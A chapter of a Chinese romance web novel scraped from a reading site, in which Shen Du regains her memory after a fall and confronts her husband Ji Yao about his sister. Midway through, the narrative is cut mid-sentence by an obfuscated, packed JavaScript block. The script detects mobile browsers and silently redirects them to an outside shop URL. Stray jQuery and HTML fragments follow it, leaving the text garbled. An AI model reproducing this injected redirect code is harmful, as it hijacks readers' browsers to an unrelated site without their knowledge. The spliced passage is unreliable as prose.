文趣网 > 其他小说 > 夫人她深藏不露 > 42. 恢复记忆
    第二日·沈府

    沈渡今日要看一场大戏,早些时候便坐在了房上。

    好几次秋栎从下面路过都心惊胆战的,“娘子,侯爷还没来呢,您要不先下来吧,前几日才化完雪那上面可滑着呢。”

    沈渡晃了晃脑袋,“不用,结实着呢。”说着她还在上面走了几步,走完她又看向在下面的秋栎,“看吧,真的很安全。”

    秋栎哪里会信她的话,她不死心继续劝她,“您就下来吧,侯爷还早着呢。”

    “你不用管我,去做你的事情便好。”沈渡被她劝的有些烦躁了,“快走快走,别在这里再逗留了。”

    秋栎见她如此闭眼叹了口气,“那奴婢先去了。”

    待人离开,沈渡的身后走出来一个戴面具的黑衣女人,她叉开腿坐在一边,看着沈渡,眼底没有一丝情绪。

    “来了。”沈渡并未回头看她,而是看着下面的一举一动。

    “你这时候叫我回来要做什么。”她直接道。

    “有事求你呗。”她转身走到她的身边坐下,“季垚有个姐姐,你知道么?”

    “自然是知道的。怎么,你想查她?”她说这话时终于有了一丝的情绪波动,但很快这股情绪又消失了。

    “嗯,我总觉得季垚和他姐之间有点什么。”她玩弄着自己的裙角,“总觉得不把这个人搞清楚,那季垚和他家里的关系一直都不会好起来。”

    “你恢复记忆了?”她问。

    沈渡抬头看了她一眼,又将头垂了下去,“也不算吧,就是记起了一些东西,但是我不知道这是不是真的。”

    “你不是一向都很相信自己的直觉?怎么现在还不敢相信了?”她歪头道。

    “我相信啊,但是现在这个关头光凭直觉有什么用。”她将衣服甩开,眼神对上眼前的女人。

    “归一啊,你说你就不能把你那面具给摘下来吗?都戴多久了,灰都有了。”说着她还动手去擦了下归一的面具。

    指尖方才触碰到她的面具,归一便把面具摘了下来,沈渡细长的手指落在了归一额角的伤疤上。

    沈渡的手指一顿,她并未将手指收回,手掌顺着她的脸颊划了下去,“这就对嘛,咱们多好看啊,就应该让人来看。”

    “我看你也是没事做了。”归一将她的手甩开又将面具戴了上去。

    “没劲。”沈渡偏开头,“你就一辈子都这样吧。”

    “不和你说这些了,我去查查他姐。”说完归一便消失在了原地。

    沈渡本还想说什么,转身时却已经没了人,她朝空气打了两下,口中还在说:“你就嘴硬吧,还‘不说了’,我看你是在意的要死,装什么装嘛!”

    “啊!”话才说完,后脑勺就被一个东西给砸中,她回头去看,没看见人,但看见了瓦片上的石块。

    沈渡将那石块捡起来,在手中掂量了两下,“下手可真狠,这么大块石头还敢往人头上扔。”

    她四处看了看季垚还未来,她决定下去将石头丢进小池塘去。

    只是她这下没有注意到脚下的苔藓,一脚踩下去只觉一空一滑,整个身体往后倾斜着朝下倒去。

    落下之前,她的头砸在了瓦片上,她的意识在那一瞬间消失,最后落在地上时她已经彻底昏死了过去。

    秋栎带着人来时,看见地上躺了个人,还以为是有人在这里玩,本来要驱逐,走近一看才发现是沈渡。

    季垚将人抱回了屋子,秋栎出去找大夫。

    *

    再次醒来时,沈渡的头被一层层的白布给包裹着,她每动一下后脑勺的伤处便会痛上一分。

    “嘶……”

    “醒啦?!”季垚端着一碗药从外面走进来,他坐在床边一下一下搅动着碗中的汤药。

    “冯太医说你今日便会醒,原本我还不信呢,没想到你还真醒过来了。”

    “来,喝药。”他将药碗递给沈渡,沈渡并未去接。

    “怕苦?没事,我准备了蜜饯。”

    “我没事,我是沈渡。”她说这话时不再像之前那般疏远,而是多了几分亲近但又有点小心翼翼。

    季垚瞳孔闪烁了两下,他将药碗放在一边,挨着沈渡的距离近了几分,“你都记起来了?”

    沈渡闭眼“啊”了声,她想要去触碰伤处,却被季垚给拦了下来,“别碰,小心会复发。”

    “好……”

    “但是这药还是得喝,若是你现在不想喝的话,可以再等一会儿。”

    沈渡拦住他要放下的动作,“早喝晚喝都是喝,现在喝完我一会儿还有些事情。”

    她掐着自己的鼻子将药全都喝了下去,季垚接过她递过来的空药碗,“你一会儿还要去做什么?”

    “秋栎不是把东西给你看了吗?”她看着季垚,可他却是一副什么都不知道的模样,沈渡收敛了神色,“她没给你看?”

    “看了。”季垚应道。

    “那你应该便能知道要做什么,这些人是我目前知道一直都在暗中帮助明阳王的人。”

    “你要私下收拾他们?”季垚问她。

    “我又不是那么无聊的人,自然不会去做那种事情。我只是在她那里得到了一些启发,我想在下个月的打猎赛中投入几个人的信息。”

    “你别给我说什么大道理,他们往年丢的东西过分的多了。”沈渡早已经看出他要做什么,便直接打断了他。

    “他们那些人视人命如草芥,我就收拾他们这么一次。再说,也没有人会知道是谁投放的。”

    “章相不是告诫过你?”季垚道。

    “舅舅说话我自然会听,但听的是什么你们就不用去管了。”沈渡躺回去,季垚帮她掖好被子转身出了门。

    秋栎在屋外站着,看见季垚出来,连忙上前问:“娘子可醒了?”

    他点头,“醒了,记忆也恢复了。”

    “娘子!”秋栎尖叫着跑了进去,季垚捂了捂耳朵抬脚离开了这里。

    形隐司

    归一站在中央,小莫脸色僵硬地看着她,她欲言又止好几次却一句话都没说出来。

    场面一度陷入了尴尬,归一抬手摆弄了两下面具想要将它摘下来,小莫连忙制止,“别,你摘下来我更害怕。”

    归一没再继续动,她的手无力地垂在两侧,“那莫司主可有什么指示?”

    “沈渡让你做什么了?”她问道。

    “司主说让我去查一个人。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569908|204826||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“那你只用和她回答就行,不必来和我说这些事。”小莫摆了摆手,归一也不再继续留在那里转身走了出去。

    走到外面,归一与季垚擦肩而过。

    季垚有些疑惑地往后看了几眼,才抬脚走进了屋内。

    “小莫大人。”季垚将东西交给小莫,“这是十块金饼,我想买个消息。”

    小莫的眼睛一下便瞪直了,沈渡之前告诉过她可以不用收季垚给的钱,但是按理来说谁买消息都得给钱。

    她还是收下了。

    “侯爷想知道什么,我一定知无不言。”她笑得谄媚,季垚却摆了摆手。

    “不是什么大事,打猎赛需要猎物,我想让你帮我解决。最好是能让我和太子联系上的猎物。”

    “太子?”小莫皱了下眉,“您完全可以找司主,太子和她是多年好友了。”

    他摇头,“此事不需惊动暮舟,我只是有事要问太子。”

    “是因为常府的事情?”小莫猜出其中用意,她轻声劝导:“太子确实想要查,但是侯爷您要想清楚这背后牵连甚广,若是没办成不光您会出事,太子都很可能会被幽禁。”

    “不是这件事情,是其他的事情。”他含糊过去,小莫半信半疑应了下去。

    “那侯爷可还有其他的事?”

    “暮舟恢复记忆了,你今日有时间可来看看她。”

    说完这些他便转身离开。

    季垚方才一出形隐司,便被蒙了脑袋敲晕。

    *

    “这样能行吗,毕竟是你夫婿。万一生了嫌隙怎么办。”一个女人的声音传入耳中,季垚抬头四处看了看,周围还是一片黑。

    “季垚。”熟悉的声音传入耳中,季垚身躯一怔。

    “我有件事情要问你,归一她说你姐在你身上做了什么。是真的还是假的。”

    “……”季垚并未说话,他垂着脑袋心情有些不好。

    归一拍了下沈渡的肩,“都说了这么做不行。”

    她走过去解开季垚的禁锢,他这才能视物。

    沈渡已经将头上的东西给拆了,她一手撑着脑袋,一手瞧着桌案。

    她笑着看向季垚,“我先道歉,这次是我过分了。但是侯爷你也不还没给我解释常崟的事情么。”

    季垚想要说什么,沈渡忽然又坐直了身体,她伸出一只手立着。

    “欸,你可别说你们之前在侯府做了什么,那些我都不知道,我没有记忆了。但……”她定了下,“我又能记得一些些东西,不过这都是少数,所以我还需要一个解释。”

    “所以你估计要快些说,我发现我这记性吧不大好了。”她看了眼归一,“我甚至都不知道她为什么会出现在京城。”

    季垚看了眼自己身边的归一,归一点点头,“是的,她记忆总是断断续续的,你去了形隐司之后还会在府上说些胡话。”

    “我姐她……”季垚靠在椅背上,思索了一瞬,“她没做什么。”

    沈渡看向归一,“你不是说有什么大的伤害吗?”

    “你……”话还未说完她便晕了过去,季垚连忙走到她身边。

    归一叹了口气,有些惋惜道:“这下估计是真把脑子摔坏了。”